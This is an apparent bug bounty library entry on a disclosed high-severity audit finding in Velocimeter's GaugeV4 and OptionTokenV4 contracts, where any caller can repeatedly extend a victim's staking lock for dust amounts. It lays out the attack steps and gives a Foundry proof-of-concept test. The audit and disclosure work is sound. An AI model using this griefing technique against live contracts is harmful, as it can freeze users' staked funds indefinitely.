# `DepositWithLock` done via `OptionToken` can be abused to permanently lock a user position

OptionTokenV4.exerciseLp lets anyone deposit into a victim's GaugeV4 lock, bypassing the msg.sender==account check and extending their lock indefinitely for ~3 wei.

- Payout: Audit contest
- Severity: high
- Program: Velocimeter
- Found by: Aymen0909
- Disclosed: 2024-06-27
- Write-up quality: 7/10
- Original: https://github.com/sherlock-audit/2024-06-velocimeter-judging/issues/20
- Library page: https://bugbountylibrary.com/r/sherlock%3A2024-06-velocimeter%3AH-1
- Tags: area:web3 domain:web3 impact:dos kind:contest platform:sherlock sev:high tech:evm tech:solidity technique:source-review vuln:access-control vuln:business-logic

**Target:** GaugeV4.depositWithLock / OptionTokenV4.exerciseLp
**Root cause:** depositWithLock only checks msg.sender==account or isOToken[msg.sender], but OptionTokenV4 is a trusted oToken and exerciseLp lets the caller specify an arbitrary recipient, so anyone can re-lock a victim's position.
**Steps:**
1. Victim calls oFlowV4.exerciseLp to create a locked position in GaugeV4 for themselves.
2. Attacker acquires dust amounts of FLOW, DAI and oFlowV4 (3 wei each).
3. Attacker calls `oFlowV4.exerciseLp(3, 3, victim, 20, block.timestamp)` passing the victim as recipient.
4. exerciseLp routes through GaugeV4.depositWithLock(victim, ...) which passes the isOToken[msg.sender] check, extending victim's lockEnd.
5. Repeat near unlock time to keep the victim's position permanently locked.
**How found:** Reviewer noticed depositWithLock's access check trusts isOToken[msg.sender], then traced OptionTokenV4.exerciseLp which accepts an arbitrary recipient and calls into the gauge, realizing the trusted oToken path bypasses the per-account restriction.
**Exploitation:** Attacker spends ~3 wei of oToken plus dust DAI/FLOW to call exerciseLp with the victim as recipient, resetting the victim's lock duration each time it nears expiry, permanently freezing their staked position at negligible cost.
**Escalation:** Repeated calls near each unlock deadline keep the victim locked indefinitely (griefing at scale across many victims).
**Insight:** When an access check trusts a privileged caller (isOToken), audit every entrypoint on that caller for user-controlled recipient/account parameters — a trusted intermediary forwarding on behalf of arbitrary users defeats per-account guards.

## Proof of concept (copied exactly from the original report)

**Foundry PoC test exercising LP to extend victim lock**

```
function testExerciseLp_attack() public { 
        vm.startPrank(address(owner)); 
        FLOW.approve(address(oFlowV4), TOKEN_1);
        // mint Option token to owner 2
        oFlowV4.mint(address(owner2), TOKEN_1 - 3);

        address attacker = address(0xb4d);
        FLOW.mint(attacker, 3);
        DAI.mint(attacker, 3);
        oFlowV4.mint(address(attacker), 3);

        /// Not relevant 
        washTrades();
        vm.stopPrank();
        uint256 flowBalanceBefore = FLOW.balanceOf(address(owner2));
        uint256 oFlowV4BalanceBefore = oFlowV4.balanceOf(address(owner2));
        uint256 daiBalanceBefore = DAI.balanceOf(address(owner2));
        uint256 treasuryDaiBalanceBefore = DAI.balanceOf(address(owner));
        uint256 rewardGaugeDaiBalanceBefore = DAI.balanceOf(address(gauge));

        (uint256 underlyingReserve, uint256 paymentReserve) = IRouter(router).getReserves(address(FLOW), address(DAI), false);
        uint256 paymentAmountToAddLiquidity = (TOKEN_1 * paymentReserve) /  underlyingReserve;

        uint256 discountedPrice = oFlowV4.getLpDiscountedPrice(TOKEN_1,20);
        /// END Not revlevant
      
        vm.startPrank(address(owner2));
        DAI.approve(address(oFlowV4), TOKEN_100K);
        oFlowV4.exerciseLp(TOKEN_1 - 3, TOKEN_1 - 3, address(owner2),20,block.timestamp);
        vm.stopPrank();

        // Check end
        uint256 end = gauge.lockEnd(address(owner2));

        /// @audit Move towards unlock
        vm.warp(end - 1);

        /// @audit Attacker locks for owner2, cost is negligible
        vm.startPrank(address(attacker));
        FLOW.approve(address(oFlowV4), TOKEN_1);
        DAI.approve(address(oFlowV4), TOKEN_100K);
        oFlowV4.exerciseLp(3, 3, address(owner2),20,block.timestamp);
        vm.stopPrank();

        uint256 newEnd = gauge.lockEnd(address(owner2));
        /// @audit We delayed the claims with a cost of 3 oFLOW and 2 units of DAI
        assertGt(newEnd, end, "delayed");
    }
```

